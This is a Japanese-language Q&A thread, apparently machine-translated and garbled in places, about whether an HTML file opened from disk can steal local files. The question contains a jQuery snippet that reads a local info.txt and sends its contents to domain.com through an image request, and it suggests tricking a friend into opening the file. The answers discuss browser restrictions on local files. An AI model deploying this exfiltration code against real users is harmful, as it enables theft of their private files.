2012-09-08 5 views
11

セキュリティについて説明しましょう。理論的には、ユーザーがhtmlファイルを開いて(ネットワークではなくファイルシステムから開くと)、スクリプトのあるファイルシステムから情報を得ることができます。コードを見てください:は、htmlファイルを実行してユーザーのデータを盗みます。

INFO.TXT:

my info 

のindex.html:

<!doctype html> 

<html> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> 
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script> 
    <script> 
     $(document).ready(function() { 
     $.get('file:///home/daz/desktop/info.txt', function (data) { 
      $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body'); 
     }, 'text'); 
     }); 
    </script> 
    </head>  
    <body></body> 
</html> 

一部たブラウザ(例えばFirefoxの、)あなたはfile://からファイルを取得することができますXmlHttpRequestを介して、私はファイルへのパスを推測するなら、私はそれがAJAXのコンテンツを取得することができます。そして、imgタグをsrcと追加して、クエリ文字列のパラメータを持つドメインに追加することができます。そしてブラウザは素直に要求をしますGET ?data=my%20info%0A domain.com。サーバー側では、クエリ文字列を解析してデータを取得できます。私は右の私はこれを行うことができます

アム?彼が自分のhtmlファイルを開くと、自分のコンピュータからユーザーのデータを取得できますか?だから私はちょうど言うことができます: "ねえ、お友達、このファイルをチェック!(2台の制限付き:ユーザーがFirefoxや同様の構成で何か他のものを使用する必要があり、私は、ユーザーがためのアクセス権をアクセスすることができないファイルを取得することはできません)。

更新日:

を、それが可能であるならば、なぜそれが可能ですか?なぜ彼らはあなたにそのようなことをさせるのですか?なぜダイアログが表示されないのか。

2を更新:

誰かがこの問題についてのレビューを作ればそれは素晴らしいことだろう。前もって感謝します!

+3

私は分かりません。 :) – gengkev

+0

はい、これは完全に可能です。 – Brad

答えて

5

それはあなたが思っているより少ないことが可能です。特に

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

  • Internet ExplorerがローカルHTMLにJavascriptを無効にクロム開発チームが、この記事で説明したように、種々のブラウザでは、ローカルのHTMLファイルが何ができるかに異なる制限を実施していますファイルデフォルトで
  • ローカルファイルからのクロスドメインアクセスにいくつかの制限があります
  • Firefoxはローカルファイルへのアクセスにサブディレクトリの制限を適用します

(この記事は2008年からであることに注意してください。ブラウザ - 特にクロム - それ以来、大幅に変更されている場合があります)

0

だけ更新:企業は今、自分の知識がなくてもクッキーを使用せずにそれらを追跡し、数百万人のユーザーの情報を盗むために悪用し、これを使用しています。 http://en.wikipedia.org/wiki/Device_fingerprint

この欠陥を意図的にユーザーが悪用される可能性がありちょうどので、彼らの中に残っていたようです。

関連する問題